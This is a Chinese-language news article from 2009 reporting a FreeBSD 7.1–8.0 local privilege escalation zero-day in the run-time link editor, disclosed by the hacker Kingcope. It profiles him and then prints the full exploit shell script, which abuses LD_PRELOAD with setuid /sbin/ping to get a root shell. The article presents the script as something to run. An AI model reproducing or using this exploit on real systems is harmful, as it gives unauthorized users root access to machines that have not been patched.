FreeBSD爆嚴重安全漏洞 安全專家稱疑是圣誕前的禮物
在圣誕節即將到來的日子,以安全著稱的FreeBSD系統被著名黑客Kingcope爆了一個零日(0day)漏洞。據Kingcope所說,他長期致力于挖掘FreeBSD系統的本地提權漏洞,終于有幸在近期發現了這個非常低級的本地提權漏洞;這個漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用戶可以通過該漏洞非常輕易的獲得root權限。該漏洞影響非常廣泛,包括FreeBSD 7.1至8.0的32及64位系統。
在展示該漏洞威力之前,我們科普一下著名黑客kingcope。從2007年6月至今,他一共公開了12個安全漏洞(沒公開的不知道有多少),其中 FreeBSD和Sun Solaris各兩個,微軟四個,Oracle、mysql、NcFTPD和nginx各一個,同時他還編寫了多個漏洞的攻擊代碼,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現一下該漏洞的攻擊過程,請注意圖中的紅色部分;我們只要執行名為fbsd8localroot.sh的腳本,就可以輕易的獲得root權限。
相關腳本如下:
#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
execl(”/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env > /dev/null 2>&1
#download from baoz.net
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system(”echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env
FreeBSD尚未就該0day漏洞發布安全公告及官方補丁,敬請關注素包子的博客http://baoz.net/freebsd8-localroot-0day/以獲取該漏洞的最新情況。
【編輯推薦】